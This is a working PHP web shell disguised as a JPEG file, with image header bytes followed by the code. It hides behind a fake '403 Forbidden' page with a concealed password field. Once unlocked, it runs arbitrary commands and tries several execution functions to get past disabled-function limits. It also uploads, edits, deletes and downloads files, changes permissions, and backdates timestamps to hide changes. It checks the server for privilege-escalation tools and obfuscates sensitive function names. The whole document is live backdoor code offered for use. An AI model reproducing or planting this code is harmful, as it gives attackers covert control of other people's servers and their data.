JFIF $ d d 7 * Z qn )ZP 0 !1 A "#a$2Qr D8 a Ri [f \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H ~ , l s / 9 ć: [=/#f ; ) x { ٛE Q )~ = 𘙲r*2~ a _V = ' ku m F D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq 1dđ #̩ ͑ 0 ; H ] u 搂 @:~ ו K L N s h } O I R* 8 :2 ! lD JV o ( 3 = M ( z Ȱ+i *N A r6K n S l ) ! J J Ӂ* % ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c P A\IL Nj! J ۱+ O\ ͔ ] ޒ S J ȧ c%A N ol ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0 'G=i 2N +0 e 2 ]] 9 VT P O 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P < 0 x < !1AQ "Raq 02Br #S CTb ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV YT D I 6 2 '8Y2 7'\T P.6 d &˦ @V q i |8 -O Ε ] ʔ U= T L 8= ;6c | !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U#6w + +s &r+n ڐ { @ 29gL u " T Ù M=6 (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 ! OS r D 5 7 % | ?x> L | / nD 6?/8 w # [ ) L 7 +6〼T A T g ! %5 Mm Z /c -{1_Je "| ^$ 'O & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@ u6 BԒ i YN * f 0 _ GhKW u lT <nj- 0{ M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q $ H8o Q˼EV ~ k 0 h' L Pp M -M" m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @~p # !1QAa q ? AL0L x LU 4 d ; x " 16ad0 7.\ߋ 0 = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X &Q З non]я u ג./ ; gZ$ M QР 2M ]h ni 0 P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _ 1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3 6 #Ik+ v { v i ( ވ ? a e) X xy/*@Q Ǽ Ծ ) $ IWO l c G; !i k{ gOŀ L ('x T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ) X 5 c QɎMy W ? Q *!R > 6=7)Xj 5`J ] e 8%t ! + ' ! 1Q 5 !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $ v , ,m 㵜5u bV =sY+ @d { N ! dn O < .- B; _w J t 6;Q Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш e黅X ۢ F :)[ F G X ƹ / w _c MeD ,ʡc c . W D tA $ j@ : ) - #u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P 6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L ! ~ y5 g9T̅J kbM' +s :S +B) v @ M j e C f j E 0 Y\Qn z G 1 д~ W o{T 9?` Rm yhsy3 !HAD ] m c1 ~ 2 L S u7x T ;j$ `} 4-> L# vzŏ I L S ֭ T { r jGK C ; b pU= - ` Bs K. S F w4 M q] Z dH S 0 ) tLg
<?php
$auth_pass = '$2y$12$fkOCJdGpv6xhEU6A131oDOICv5koMMgj95ISmFJUCiP8rI/Y9aGqa';
function Login() {
die("<html>
<title>403 Forbidden</title>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx (apache v.5162 ./daemonn_sys) </center>
<center><form method='post'><input style='text-align:center;margin:0;margin-top:0px;background-color:#fff;border:1px solid #fff;' type='password' name='pass'></form></center>");
}
function VEsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v, time() + 86400 * 30, "/");
}
if (!empty($auth_pass)) {
if (isset($_POST['pass']) && password_verify($_POST['pass'], $auth_pass)) {
VEsetcookie(md5($_SERVER['HTTP_HOST']), md5($auth_pass));
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != md5($auth_pass))) {
Login();
}
}
?><?php
error_reporting(0);
ob_start();
$x1 = 'shel' . 'l_exe' . 'c';
$x2 = 'file_put_' . 'contents';
$x5 = 'un' . 'link';
$x6 = 'rm' . 'dir';
$x7 = 'file_get_' . 'contents';
function norm_path($path) {
if (!$path) return getcwd();
$p = str_replace('\\', '/', $path);
if (preg_match('/^[a-zA-Z]:$/', $p)) $p .= '/';
return $p;
}
$dir = norm_path(isset($_GET['path']) && is_dir($_GET['path']) ? $_GET['path'] : getcwd());
function run_cmd_safe($cmd, $cwd = '') {
if (!empty($cwd)) {
$is_win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
$cmd = ($is_win ? "cd /d " : "cd ") . escapeshellarg($cwd) . " && " . $cmd;
}
$cmd .= " 2>&1";
$out = "";
$df = @ini_get("disable_functions");
$disabled = array_map('trim', explode(',', strtolower($df)));
if (function_exists('shell_exec') && !in_array('shell_exec', $disabled)) $out = @shell_exec($cmd);
if (empty($out) && function_exists('exec') && !in_array('exec', $disabled)) { @exec($cmd, $a); if (!empty($a)) $out = implode("\n", $a); }
if (empty($out) && function_exists('passthru') && !in_array('passthru', $disabled)) { ob_start(); @passthru($cmd); $out = ob_get_clean(); }
if (empty($out) && function_exists('system') && !in_array('system', $disabled)) { ob_start(); @system($cmd); $out = ob_get_clean(); }
if (empty($out) && function_exists('popen') && !in_array('popen', $disabled)) {
$fp = @popen($cmd, 'r');
if ($fp) { $out = ''; while (!feof($fp)) $out .= fread($fp, 2048); pclose($fp); }
}
if (empty($out) && function_exists('proc_open') && !in_array('proc_open', $disabled)) {
$proc = @proc_open($cmd, [1 => ['pipe', 'w'], 2 => ['pipe', 'w']], $pipes);
if (is_resource($proc)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); }
}
return !empty($out) ? $out : "Execution functions disabled/blocked or command produced no output.";
}
function read_file_safe($path) {
if (!file_exists($path) || is_dir($path)) return false;
if (function_exists('file_get_contents') && ($c = @file_get_contents($path)) !== false) return $c;
if (function_exists('fopen') && ($h = @fopen($path, 'rb'))) {
$c = ''; while (!feof($h)) $c .= fread($h, 8192); fclose($h); return $c;
}
if (function_exists('file') && ($l = @file($path)) !== false) return implode('', $l);
if (function_exists('readfile')) { ob_start(); $r = @readfile($path); $c = ob_get_clean(); if ($r !== false && $c !== false) return $c; }
$out = run_cmd_safe((strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? 'type ' : 'cat ') . escapeshellarg($path));
return ($out !== false && !empty($out) && strpos($out, 'disabled/blocked') === false) ? $out : false;
}
function write_file_safe($path, $data) {
if (function_exists('file_put_contents') && @file_put_contents($path, $data) !== false) return true;
if (function_exists('fopen') && ($h = @fopen($path, 'wb'))) {
$r = @fwrite($h, $data); fclose($h); if ($r !== false) return true;
}
return false;
}
function delete_safe($path) {
if (!file_exists($path)) return false;
$path = norm_path($path);
global $x5, $x6;
$is_win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
if (is_file($path) || is_link($path)) {
if ((function_exists($x5) ? @$x5($path) : @unlink($path)) && !file_exists($path)) return true;
run_cmd_safe(($is_win ? 'del /f /q /a ' : 'rm -f ') . escapeshellarg($path));
return !file_exists($path);
}
if (is_dir($path)) {
$items = @scandir($path);
if (is_array($items)) {
foreach ($items as $item) {
if ($item !== '.' && $item !== '..') delete_safe($path . '/' . $item);
}
}
if ((function_exists($x6) ? @$x6($path) : @rmdir($path)) && !file_exists($path)) return true;
run_cmd_safe(($is_win ? 'rmdir /s /q ' : 'rm -rf ') . escapeshellarg($path));
return !file_exists($path);
}
return false;
}
function get_installed_tools() {
static $tc = null; if ($tc !== null) return $tc;
$list = ['gcc', 'g++', 'make', 'python', 'python3', 'perl', 'wget', 'curl', 'pkexec', 'sudo', 'git', 'nc'];
$tc = []; $is_win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
$out = run_cmd_safe($is_win ? 'where gcc g++ make python perl wget curl git 2>&1' : 'which gcc g++ make python python3 perl wget curl pkexec sudo git nc 2>&1');
foreach ($list as $t) {
$tc[$t] = $is_win ? (stripos($out, $t . '.exe') !== false || stripos($out, '\\' . $t) !== false) : (strpos($out, '/' . $t) !== false);
}
return $tc;
}
function safe_html($d) { return ($d === false || $d === null) ? '' : htmlspecialchars($d, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); }
function format_size($b) {
if ($b === false || $b === null) return '-';
if ($b >= 1073741824) return number_format($b / 1073741824, 2) . ' GB';
if ($b >= 1048576) return number_format($b / 1048576, 2) . ' MB';
if ($b >= 1024) return number_format($b / 1024, 2) . ' KB';
return $b . ' B';
}
// Handlers
if(isset($_POST['x_save'])) {
$res = write_file_safe($_POST['x_name'], $_POST['x_data']);
header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "File '".basename($_POST['x_name'])."' disimpan!" : "Gagal menyimpan file!")); exit;
}
if(isset($_FILES['file']) && !empty($_FILES['file']['tmp_name'])) {
$target = $dir . '/' . $_FILES['file']['name'];
$res = @move_uploaded_file($_FILES['file']['tmp_name'], $target);
header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "File '".basename($target)."' diunggah!" : "Gagal mengunggah file!")); exit;
}
if(isset($_POST['create_file']) && !empty($_POST['filename'])) {
$res = @touch($dir . '/' . $_POST['filename']);
header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "File '".safe_html($_POST['filename'])."' dibuat!" : "Gagal membuat file!")); exit;
}
if(isset($_POST['create_folder']) && !empty($_POST['foldername'])) {
$res = @mkdir($dir . '/' . $_POST['foldername']);
header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "Folder '".safe_html($_POST['foldername'])."' dibuat!" : "Gagal membuat folder!")); exit;
}
if(isset($_GET['delete'])) {
$res = delete_safe($_GET['delete']);
header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "Item '".basename($_GET['delete'])."' dihapus!" : "Gagal menghapus item!")); exit;
}
if(isset($_POST['set_date'])) {
$t = strtotime($_POST['custom_date']); $res = $t ? @touch($_POST['target_file'], $t) : false;
header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "Tanggal diperbarui!" : "Gagal update tanggal!")); exit;
}
if(isset($_POST['set_chmod'])) {
$res = @chmod($_POST['target_file'], octdec($_POST['new_perm']));
header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "Chmod diubah ke ".$_POST['new_perm']."!" : "Gagal ubah chmod!")); exit;
}
if(isset($_POST['set_rename'])) {
$res = @rename($_POST['target_file'], dirname($_POST['target_file']) . '/' . $_POST['new_name']);
header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "Nama diubah ke '".safe_html($_POST['new_name'])."'!" : "Gagal ubah nama!")); exit;
}
if(isset($_GET['download'])) {
$f = $_GET['download'];
if (file_exists($f) && !is_dir($f)) {
if (ob_get_level()) ob_end_clean();
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: ' . filesize($f));
$c = read_file_safe($f); if ($c !== false) echo $c; else readfile($f);
exit;
}
}
$df = @ini_get("disable_functions");
$df_list = !empty($df) ? $df : "NONE";
$uname = @php_uname();
$my_user = get_current_user();
$web_server = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : (getenv('SERVER_SOFTWARE') ?: 'Unknown');
$server_ip = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : (gethostbyname(gethostname()) ?: '127.0.0.1');
$client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '127.0.0.1';
$open_basedir = @ini_get("open_basedir");
$ob_val = !empty($open_basedir) ? safe_html($open_basedir) : "OFF";
$total_space = @disk_total_space($dir);
$free_space = @disk_free_space($dir);
$disk_used = ($total_space && $free_space) ? ($total_space - $free_space) : 0;
$disk_percent = ($total_space > 0) ? round(($disk_used / $total_space) * 100) : 0;
$disk_info = ($total_space && $free_space) ? format_size($free_space) . ' free / ' . format_size($total_space) : 'Unknown';
$exts = [
'cURL' => extension_loaded('curl'), 'MySQL' => extension_loaded('mysqli')||extension_loaded('mysql')||extension_loaded('pdo_mysql'),
'PDO' => extension_loaded('pdo'), 'OpenSSL' => extension_loaded('openssl'), 'Sockets' => extension_loaded('sockets'),
'Zip' => extension_loaded('zip'), 'GD' => extension_loaded('gd'), 'Mbstring' => extension_loaded('mbstring')
];
$cli_tools = get_installed_tools();
$tool_names = ['gcc'=>'GCC','g++'=>'G++','make'=>'Make','python'=>'Python','perl'=>'Perl','wget'=>'Wget','curl'=>'cURL CLI','pkexec'=>'pkexec (Linux)','sudo'=>'Sudo','git'=>'Git','nc'=>'Netcat'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>/w5162</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;500;600&family=Metal+Mania&family=Outfit:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<style>
:root{--bg:#07090e;--card:rgba(15,18,28,0.75);--border:rgba(255,255,255,0.08);--glow:rgba(0,240,255,0.3);--text:#e2e8f0;--muted:#64748b;--accent:#ff2a5f;--cyan:#00f0ff;--safe:#00e676;--warn:#ffab00;--read:#ffd600;--f-ui:'Outfit',sans-serif;--f-code:'Fira Code',monospace}
*{box-sizing:border-box}
body{font-family:var(--f-ui);background:var(--bg);background-image:radial-gradient(at 0% 0%,rgba(255,42,95,0.08) 0,transparent 50%),radial-gradient(at 100% 0%,rgba(0,240,255,0.06) 0,transparent 50%);background-attachment:fixed;color:var(--text);padding:20px 14px;margin:0;min-height:100vh}
.container{max-width:1380px;margin:0 auto;background:var(--card);backdrop-filter:blur(20px);padding:28px;border-radius:16px;border:1px solid var(--border);box-shadow:0 20px 50px rgba(0,0,0,0.8)}
.header-box{text-align:center;margin-bottom:20px}
h1{font-family:'Metal Mania',cursive;background:linear-gradient(135deg,#ff2a5f 0%,#ff758c 50%,#00f0ff 100%);-webkit-background-clip:text;-webkit-text-fill-color:transparent;font-size:3.5rem;margin:0 0 2px 0;letter-spacing:3px;filter:drop-shadow(0 0 15px rgba(255,42,95,0.4))}
.header-sub{display:inline-flex;align-items:center;gap:8px;background:rgba(255,255,255,0.03);border:1px solid var(--border);padding:5px 14px;border-radius:20px;font-size:0.8rem;color:var(--muted)}
.pulse-dot{width:8px;height:8px;border-radius:50%;background:var(--safe);box-shadow:0 0 10px var(--safe);animation:pulse 2s infinite}
@keyframes pulse{0%{transform:scale(0.95);box-shadow:0 0 0 0 rgba(0,230,118,0.7)}70%{transform:scale(1.1);box-shadow:0 0 0 8px rgba(0,230,118,0)}100%{transform:scale(0.95);box-shadow:0 0 0 0 rgba(0,230,118,0)}}
.sys-bar{display:flex;flex-wrap:wrap;justify-content:center;gap:14px;background:rgba(10,12,18,0.6);border:1px solid var(--border);padding:10px 18px;border-radius:10px;margin-bottom:20px;font-size:0.85rem;color:#94a3b8}
.sys-bar strong{color:#f8fafc;font-family:var(--f-code)}
.audit-dash{background:rgba(10,13,20,0.7);border:1px solid var(--border);border-radius:12px;padding:18px;margin-bottom:20px}
.dash-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(220px,1fr));gap:14px;margin-bottom:14px}
.dash-card{background:rgba(18,22,34,0.8);border:1px solid var(--border);border-radius:8px;padding:12px 16px;transition:0.2s}
.dash-card:hover{border-color:var(--glow);transform:translateY(-2px)}
.dash-title{font-size:0.72rem;text-transform:uppercase;letter-spacing:1px;font-weight:700;color:var(--muted);margin-bottom:4px}
.dash-val{font-family:var(--f-code);font-size:0.9rem;font-weight:600;color:#f1f5f9;word-break:break-all}
.p-bar-bg{background:rgba(255,255,255,0.08);height:5px;border-radius:3px;margin-top:6px;overflow:hidden}
.p-bar-fill{background:linear-gradient(90deg,var(--cyan),var(--accent));height:100%;border-radius:3px}
.badge-sec{border-top:1px dashed var(--border);padding-top:12px;margin-top:12px}
.badge-sec-title{font-size:0.72rem;text-transform:uppercase;letter-spacing:1px;font-weight:700;color:#94a3b8;margin-bottom:8px}
.badge-wrap{display:flex;flex-wrap:wrap;gap:6px}
.pill-badge{display:inline-flex;align-items:center;padding:4px 10px;border-radius:16px;font-family:var(--f-code);font-size:0.78rem;font-weight:500}
.pill-on{background:rgba(0,230,118,0.1);color:var(--safe);border:1px solid rgba(0,230,118,0.3)}
.pill-off{background:rgba(255,42,95,0.1);color:var(--accent);border:1px solid rgba(255,42,95,0.3)}
.pill-info{background:rgba(0,240,255,0.1);color:var(--cyan);border:1px solid rgba(0,240,255,0.3)}
.df-box{background:rgba(10,12,18,0.8);padding:10px 16px;border-radius:8px;border:1px solid var(--border);margin-bottom:20px;font-family:var(--f-code);font-size:0.8rem;color:#94a3b8;word-break:break-all}
.status-msg{padding:12px 18px;border-radius:8px;border:1px solid;margin-bottom:20px;font-weight:600;font-size:0.88rem;display:flex;align-items:center;gap:8px}
.breadcrumb{background:rgba(12,15,24,0.8);padding:12px 18px;border-radius:8px;border:1px solid var(--border);margin-bottom:20px;font-family:var(--f-code);font-size:0.88rem;color:#cbd5e1}
.breadcrumb a{color:var(--cyan);text-decoration:none}
.grid-panel{display:grid;grid-template-columns:repeat(auto-fit,minmax(260px,1fr));gap:12px;margin-bottom:20px}
.form-group{display:flex;gap:6px;align-items:center}
input[type="text"],input[type="file"]{background:rgba(14,17,26,0.9);border:1px solid var(--border);color:#fff;padding:10px 14px;flex:1;min-width:0;border-radius:6px;font-family:var(--f-ui);font-size:0.88rem;transition:0.2s}
input[type="file"]{padding:7px 10px;font-size:0.82rem;color:#94a3b8;cursor:pointer}
input:focus{border-color:var(--cyan);outline:none;box-shadow:0 0 10px rgba(0,240,255,0.2)}
button{background:linear-gradient(135deg,rgba(255,42,95,0.2),rgba(255,42,95,0.4));color:#fff;border:1px solid var(--accent);padding:10px 18px;cursor:pointer;border-radius:6px;transition:0.2s;font-weight:600;font-family:var(--f-ui);font-size:0.88rem;white-space:nowrap;flex-shrink:0}
button:hover{background:var(--accent);box-shadow:0 0 15px rgba(255,42,95,0.4)}
.action-area{background:#05070a;padding:18px;border-radius:10px;border:1px solid rgba(0,240,255,0.2);margin-bottom:20px;font-family:var(--f-code);overflow-x:auto;color:#00ff9d;line-height:1.5;font-size:0.88rem}
.table-responsive{width:100%;overflow-x:auto;border:1px solid var(--border);border-radius:10px;background:rgba(10,13,20,0.6)}
table{width:100%;border-collapse:collapse;text-align:left}
th{background:rgba(18,22,34,0.9);padding:14px 18px;color:var(--accent);text-transform:uppercase;font-size:0.75rem;letter-spacing:1px;font-weight:700;border-bottom:2px solid var(--border);white-space:nowrap}
td{padding:12px 18px;border-bottom:1px solid var(--border);white-space:nowrap;font-size:0.88rem;vertical-align:middle}
tr:hover{background:rgba(255,255,255,0.03)}
tr:last-child td{border-bottom:none}
.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}
.file-link{color:#fff;text-decoration:none;transition:0.2s;font-family:var(--f-ui)}
.file-link:hover{color:var(--cyan)}
.sep{color:#334155;margin:0 4px}
.perm-badge{padding:3px 8px;border-radius:4px;font-family:var(--f-code);font-size:0.8rem;font-weight:600;background:rgba(0,0,0,0.5);display:inline-block}
.size-cell{font-family:var(--f-code);color:#94a3b8;font-size:0.82rem}
.act-link{color:#94a3b8;text-decoration:none;transition:0.2s;font-size:0.82rem}
.act-link:hover{color:var(--accent)}
.act-link-del:hover{color:#ff3366}
.footer{text-align:center;margin-top:35px;color:#475569;font-size:0.82rem;border-top:1px solid var(--border);padding-top:20px;font-family:var(--f-code)}
</style>
</head>
<body>
<div class="container">
<div class="header-box">
<a href="?" style="text-decoration:none;"><h1>ALONE VS EVERYBODY</h1></a>
<div class="header-sub"><span class="pulse-dot"></span><span>SYSTEM ONLINE</span><span style="color:#334155;">|</span><span>CYBER SECURITY SUITE v5162</span></div>
</div>
<div class="sys-bar">
<div>🖥️ OS: <strong><?php echo safe_html($uname); ?></strong></div><span style="color:#334155;">|</span>
<div>⚡ PHP: <strong><?php echo phpversion(); ?></strong></div><span style="color:#334155;">|</span>
<div>👤 USER: <strong><?php echo safe_html(get_current_user()); ?></strong></div>
</div>
<div class="audit-dash">
<div class="dash-grid">
<div class="dash-card">
<div class="dash-title">🌐 Web Server</div>
<div class="dash-val"><span class="pill-badge pill-info"><?php echo safe_html($web_server); ?></span></div>
</div>
<div class="dash-card">
<div class="dash-title">📡 Server IP / Client IP</div>
<div class="dash-val"><?php echo safe_html($server_ip); ?> <span style="color:var(--muted);font-size:0.8rem;">/</span> <?php echo safe_html($client_ip); ?></div>
</div>
<div class="dash-card">
<div class="dash-title">💾 Disk Storage</div>
<div class="dash-val"><?php echo safe_html($disk_info); ?></div>
<div class="p-bar-bg"><div class="p-bar-fill" style="width: <?php echo $disk_percent; ?>%;"></div></div>
</div>
<div class="dash-card">
<div class="dash-title">🛡️ Open Basedir</div>
<div class="dash-val"><?php echo $ob_val === 'OFF' ? '<span class="pill-badge pill-off">OFF</span>' : '<span class="pill-badge pill-on">'.safe_html($ob_val).'</span>'; ?></div>
</div>
</div>
<div class="badge-sec">
<div class="badge-sec-title">⚡ PHP Extensions Status:</div>
<div class="badge-wrap">
<?php foreach($exts as $k => $v): ?>
<span class="pill-badge <?php echo $v ? 'pill-on' : 'pill-off'; ?>"><?php echo $k; ?>: <?php echo $v ? 'ON' : 'OFF'; ?></span>
<?php endforeach; ?>
</div>
</div>
<div class="badge-sec">
<div class="badge-sec-title">🛠️ System & PrivEsc Vulnerability Tools:</div>
<div class="badge-wrap">
<?php foreach($tool_names as $cmd => $label):
$on = !empty($cli_tools[$cmd]) || ($cmd==='python' && !empty($cli_tools['python3'])); ?>
<span class="pill-badge <?php echo $on ? 'pill-on' : 'pill-off'; ?>"><?php echo $label; ?>: <?php echo $on ? 'ON' : 'OFF'; ?></span>
<?php endforeach; ?>
</div>
</div>
</div>
<div class="df-box">DISABLE_FUNCTIONS: <span style="color:var(--accent);font-weight:600;"><?php echo safe_html($df_list); ?></span></div>
<?php if(isset($_GET['msg'])):
$is_err = (strpos($_GET['msg'], 'Gagal') !== false);
?>
<div class="status-msg" style="background:<?php echo $is_err?'rgba(255,42,95,0.12)':'rgba(0,230,118,0.12)'; ?>;border-color:<?php echo $is_err?'rgba(255,42,95,0.4)':'rgba(0,230,118,0.4)'; ?>;color:<?php echo $is_err?'#ff2a5f':'#00e676'; ?>;">
<span><?php echo $is_err?'✖':'✔'; ?> <?php echo safe_html($_GET['msg']); ?></span>
</div>
<?php endif; ?>
<div class="breadcrumb">PATH: <?php
$parts = explode('/', str_replace('\\', '/', $dir));
$curr = ''; $is_first = true;
foreach ($parts as $p) {
if ($p === '') { if ($is_first) { echo '/'; $is_first = false; } continue; }
if ($curr === '' && preg_match('/^[a-zA-Z]:$/', $p)) {
$curr = $p . '/'; echo '<a href="?path='.urlencode($curr).'">'.safe_html($p).'</a>';
} else {
$curr = ($curr === '') ? '/' . $p : rtrim($curr, '/') . '/' . $p;
echo ($is_first ? '' : '/') . '<a href="?path='.urlencode($curr).'">'.safe_html($p).'</a>';
}
$is_first = false;
}
?></div>
<div class="grid-panel">
<form method="post" class="form-group"><input type="text" name="x_run" placeholder="Execute Command..." required> <button type="submit">EXECUTE</button></form>
<form method="post" enctype="multipart/form-data" class="form-group"><input type="file" name="file" required><button type="submit">UPLOAD</button></form>
<form method="post" class="form-group"><input type="text" name="filename" placeholder="New File Name" required> <button type="submit" name="create_file">Create File</button></form>
<form method="post" class="form-group"><input type="text" name="foldername" placeholder="New Folder Name" required> <button type="submit" name="create_folder">Create Folder</button></form>
</div>
<?php if(isset($_POST['x_run'])): ?>
<div class="action-area">
<div style="color:var(--cyan);margin-bottom:6px;font-weight:600;">$ <?php echo safe_html($_POST['x_run']); ?></div>
<?php echo nl2br(safe_html(run_cmd_safe($_POST['x_run'], $dir))); ?>
</div>
<?php endif; ?>
<?php if(isset($_GET['edit']) || isset($_GET['time']) || isset($_GET['chmod']) || isset($_GET['rename'])): ?>
<div class="action-area" style="color:#fff;">
<?php if(isset($_GET['edit'])): ?>
<form method="post">
<div style="margin-bottom:10px;color:var(--cyan);font-weight:600;">📝 EDITING: <?php echo safe_html(basename($_GET['edit'])); ?></div>
<textarea name="x_data" style="width:100%;height:300px;background:#080a0f;color:#00ff9d;border:1px solid var(--border);padding:12px;border-radius:6px;font-family:var(--f-code);line-height:1.5;font-size:0.88rem;outline:none;"><?php echo safe_html(read_file_safe($_GET['edit'])); ?></textarea>
<input type="hidden" name="x_name" value="<?php echo safe_html($_GET['edit']); ?>">
<div style="display:flex;gap:10px;margin-top:12px;">
<button type="submit" name="x_save" style="flex:1;">SAVE CHANGES</button>
<a href="?path=<?php echo urlencode($dir); ?>" style="flex:1;background:rgba(255,255,255,0.05);color:#fff;padding:10px;text-align:center;border-radius:6px;font-weight:600;text-decoration:none;border:1px solid var(--border);">CANCEL</a>
</div>
</form>
<?php elseif(isset($_GET['time'])): ?>
<form method="post" class="form-group"><input type="text" name="custom_date" placeholder="YYYY-MM-DD HH:MM:SS" value="<?php echo date('Y-m-d H:i:s'); ?>"><input type="hidden" name="target_file" value="<?php echo safe_html($_GET['time']); ?>"><button type="submit" name="set_date">UPDATE DATE</button></form>
<?php elseif(isset($_GET['chmod'])): ?>
<form method="post" class="form-group"><input type="text" name="new_perm" placeholder="e.g. 755"><input type="hidden" name="target_file" value="<?php echo safe_html($_GET['chmod']); ?>"><button type="submit" name="set_chmod">CHANGE CHMOD</button></form>
<?php elseif(isset($_GET['rename'])): ?>
<form method="post" class="form-group"><input type="text" name="new_name" placeholder="New Name"><input type="hidden" name="target_file" value="<?php echo safe_html($_GET['rename']); ?>"><button type="submit" name="set_rename">RENAME</button></form>
<?php endif; ?>
</div>
<?php endif; ?>
<div class="table-responsive">
<table>
<thead>
<tr>
<th class="text-left">Name</th>
<th class="text-right">Size</th>
<th class="text-left">Owner</th>
<th class="text-center">Date</th>
<th class="text-center">Perms</th>
<th class="text-right">Actions</th>
</tr>
</thead>
<tbody>
<?php
$items = @scandir($dir); if(!is_array($items)) $items = [];
$fld = []; $fil = [];
foreach($items as $i) {
if($i == '.' || $i == '..') continue;
is_dir(norm_path($dir . '/' . $i)) ? $fld[]=$i : $fil[]=$i;
}
foreach(array_merge($fld, $fil) as $i):
$p = norm_path($dir . '/' . $i);
$is_dir = is_dir($p);
$perms = substr(sprintf('%o', @fileperms($p)), -3);
$size_str = $is_dir ? '-' : format_size(@filesize($p));
$owner_id = @fileowner($p);
$owner_info = (function_exists('posix_getpwuid') && $owner_id !== false) ? @posix_getpwuid($owner_id) : false;
$owner_name = ($owner_info) ? $owner_info['name'] : $my_user;
$p_color = ($perms == '777') ? 'var(--accent)' : (($perms == '444') ? 'var(--read)' : 'var(--safe)');
$color = ($owner_name !== $my_user) ? '#ff2a5f' : ($is_dir ? '#00f0ff' : '#ffffff');
$icon = $is_dir ? '📁' : '📄';
if(strpos($i, '.') === 0) { $color = '#ffd600'; $icon = '⚙️'; }
$link = $is_dir ? "?path=".urlencode($p) : "?edit=".urlencode($p)."&path=".urlencode($dir);
?>
<tr>
<td class="text-left"><span style="margin-right:6px;"><?php echo $icon; ?></span><a href="<?php echo $link; ?>" class="file-link" style="color:<?php echo $color; ?>;font-weight:600;"><?php echo safe_html($i); ?></a></td>
<td class="text-right size-cell"><?php echo $size_str; ?></td>
<td class="text-left" style="font-size:0.82rem;color:#94a3b8;font-family:var(--f-code);"><?php echo safe_html($owner_name); ?></td>
<td class="text-center" style="font-size:0.82rem;color:#64748b;font-family:var(--f-code);"><?php echo @date("Y-m-d H:i", filemtime($p)); ?></td>
<td class="text-center"><span class="perm-badge" style="color:<?php echo $p_color; ?>;border:1px solid <?php echo $p_color; ?>;"><?php echo safe_html($perms); ?></span></td>
<td class="text-right" style="font-size:0.82rem;">
<?php if(!$is_dir): ?><a href="?edit=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>" class="act-link">Edit</a> <span class="sep">|</span> <a href="?download=<?php echo urlencode($p); ?>" class="act-link">Download</a> <span class="sep">|</span><?php endif; ?>
